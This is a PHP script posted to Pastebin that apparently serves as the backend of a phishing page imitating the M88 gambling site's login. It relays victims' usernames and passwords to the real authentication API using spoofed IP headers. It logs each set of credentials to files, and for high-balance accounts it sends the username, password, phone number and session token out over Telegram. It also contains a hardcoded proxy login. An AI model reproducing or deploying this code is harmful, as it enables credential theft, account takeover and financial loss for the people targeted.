nhockm4v

Untitled

Aug 6th, 2021
1,266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.19 KB | None | 0 0
  1.  
  2.  
  3. <?php
  4. session_start();
  5. include "../config.php";
  6. header("Content-Type: application/json; charset=utf-8");
  7. $raw_content = file_get_contents("php://input");
  8. $json_data = json_decode($raw_content, 1);
  9. $username = $json_data['Username'];
  10. $password = $json_data['Password'];
  11. $signingkey = md5($username.'.'.$password.';1,2-'.date('dmY'));
  12. $signingkey = substr($signingkey, 0, strlen($signingkey)-1);
  13. $IP = $_SERVER["REMOTE_ADDR"];
  14. $Md5Password = $json_data['Md5Password'];
  15.  
  16.  
  17. $result = login($raw_content,$username,$password,$signingkey,$Md5Password,$IP);
  18. $json_data = json_decode($result, 1);
  19.  
  20.  
  21. if ($json_data["c"] == 0) {
  22.     write($username, $password, $json_data,$fp1,$IP);
  23. } else if ($json_data["c"]==2) {
  24.     writeotp($username, $password,$loginotp,$IP);
  25. }
  26. echo $result;
  27.    
  28.  
  29.  
  30. function write($username, $password, $json_data,$fp1,$IP) {
  31.     $authorization = $json_data["m"];
  32.     $_SESSION["auth"] = $authorization;
  33.     $nickname = $json_data["d"]["nickname"];
  34.     $mobile = $json_data["d"]["mobile"];
  35.     $coin = $json_data["d"]["coinBalance"];
  36.     $gold = $json_data["d"]["goldBalance"];
  37.     $telesafe = $json_data["d"]["teleSafe"];
  38.     date_default_timezone_set("Asia/Ho_Chi_Minh");
  39.     $time = date("H:i:s Y-m-d");
  40.     $ip1=$_SERVER["REMOTE_ADDR"];
  41.     if ($gold >= 600000){
  42.     $message = "Login M88: Hàng Về 1m88.win\nTài khoản: $username\nMật khẩu: $password\nSố tiền:$gold\nSDT:$mobile\nTELE:$telesafe\nm88.vin/?token=$authorization";
  43.     send_telegram($message);
  44.  
  45. }
  46.     $fp = $fp1;
  47.     fwrite($fp, "$username|$password|$nickname|$gold|SDT:$mobile|TELE:$telesafe| ----- $time -----> $IP\n");
  48.     fclose($fp);
  49.  
  50. }
  51.  
  52. function writeotp($username, $password,$loginotp,$IP) {
  53.     date_default_timezone_set("Asia/Ho_Chi_Minh");
  54.     $time = date("H:i:s Y-m-d");
  55.     $ip1=$_SERVER["REMOTE_ADDR"];
  56.     $fp = $loginotp;
  57.     fwrite($fp, "$username|$password|Login by otp!!! ----- $time -----> $IP\n");
  58.     fclose($fp);
  59. }
  60.  
  61. function login($raw_content,$username,$password,$signingkey,$Md5Password,$IP) { {
  62. $proxy = 'gate.dc.smartproxy.com:20000';
  63. $proxyAuth = 'user-rynbeone:mayconchoghe';
  64. $ramdom = random_string(4);
  65. $ramdom3 = random_string(3);
  66. $randIP = mt_rand(0, 255) . "." . mt_rand(0, 255) . "." . mt_rand(0, 255) . "." . mt_rand(0, 255);
  67.  
  68. $url = 'https://id.m88.vin/api/Account/authenticatev2';
  69. $ch = curl_init();
  70. // curl_setopt($ch,CURLOPT_PROXY, $proxy);
  71. // curl_setopt($ch,CURLOPT_PROXYUSERPWD, $proxyAuth);
  72. // curl_setopt($ch, CURLOPT_PROXYTYPE, 'HTTP');
  73. curl_setopt($ch,CURLOPT_URL,$url);
  74. curl_setopt($ch,CURLOPT_POST,true);
  75. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  76. curl_setopt($ch,CURLOPT_HEADER,true);
  77. $data = "{\"Username\":\"$username\",\"Password\":\"$password\",\"Md5Password\":\"$Md5Password\",\"OTP\":\"\",\"SigningKey\":\"$signingkey\",\"Verify\":\"\"}";
  78. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  79.  
  80. curl_setopt($ch,CURLOPT_HTTPHEADER,["CF-Connecting-IP: ". $randIP,"X-Forwarded-For: ". $randIP,"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.$ramdom.150 Safari/$ramdom3","origin: https://gamvip.com","Content-Type: application/json","Accept: application/json","Referer: http://gamvip.com/","accept-language: en-US,en;q=0.9,vi;q=0.8","Cookie: hahahaha"]);
  81. for ($i=0; $i < 10; $i++) {
  82.         $raw_content = curl_exec($ch);
  83.         if ($raw_content) break;
  84.     }
  85.     $netcore_session = "";
  86.     $wjo = "";
  87.     if (preg_match("/\.netcore\.session=([^;]+);/m", $raw_content, $matches)) $netcore_session = $matches[1];
  88.     if (preg_match("/NSC_mc\.je\.n88\.wjo=([^;]+);/m", $raw_content, $matches)) $wjo = $matches[1];
  89.     setcookie("username", $username, time() + (86400 * 30), "/"); // 86400 = 1 day
  90.     setcookie("password", $password, time() + (86400 * 30), "/"); // 86400 = 1 day
  91.     setcookie(".netcore.session", urldecode($netcore_session), time() + (86400 * 30), "/"); // 86400 = 1 day
  92.     setcookie("NSC_mc.je.n88.wjo", $wjo, time() + (86400 * 30), "/"); // 86400 = 1 day
  93.     return explode("\r\n\r\n", $raw_content)[2];
  94. }
  95. }
  96.  
  97. function random_string($length) {
  98.     $key = '';
  99.     $keys = array_merge(range(0, 9));
  100.  
  101.     for ($i = 0; $i < $length; $i++) {
  102.         $key .= $keys[array_rand($keys)];
  103.     }
  104.  
  105.     return $key;
  106. }
  107.  
  108. return random_string(6);
  109. ?>
Advertisement
Add Comment
Please, Sign In to add comment